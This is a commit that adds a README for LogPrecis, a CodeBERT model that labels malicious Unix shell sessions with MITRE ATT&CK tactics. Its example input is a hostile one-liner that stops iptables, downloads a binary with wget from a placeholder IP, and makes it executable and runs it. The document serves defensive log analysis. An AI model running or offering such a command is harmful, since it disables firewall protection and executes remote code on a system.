Create README.md
Browse files
README.md
ADDED
@@ -0,0 +1,22 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
[LogPrecis](https://arxiv.org/abs/2307.08309) is a [Codebert](microsoft/codebert-base) model fine-tuned for **Token Classification**.
|
2 |
+
|
3 |
+
The model was previously domain-adapted using a corpus of **>20k Unix sessions**.
|
4 |
+
|
5 |
+
Specifically, LogPrecis is designed for the analysis of **malicious Unix logs**. Given as input a Unix session:
|
6 |
+
|
7 |
+
```shell
|
8 |
+
etc/init.d/iptables stop ; wget –c http://10.10.10.10:8080/exec ; chmod 777 exec ; ./exec ;
|
9 |
+
```
|
10 |
+
|
11 |
+
LogPrecis outputs the sequence of [Mitre Tactics](https://attack.mitre.org/tactics/enterprise/):
|
12 |
+
|
13 |
+
`Impact x 3 -- Execution x 10`
|
14 |
+
|
15 |
+
LogPrecis achieved a **91.2% accuracy** on the test set. Its training code and data are available [here](https://github.com/SmartData-Polito/logprecis).
|
16 |
+
|
17 |
+
---
|
18 |
+
metrics:
|
19 |
+
- accuracy
|
20 |
+
- rouge
|
21 |
+
pipeline_tag: token-classification
|
22 |
+
---
|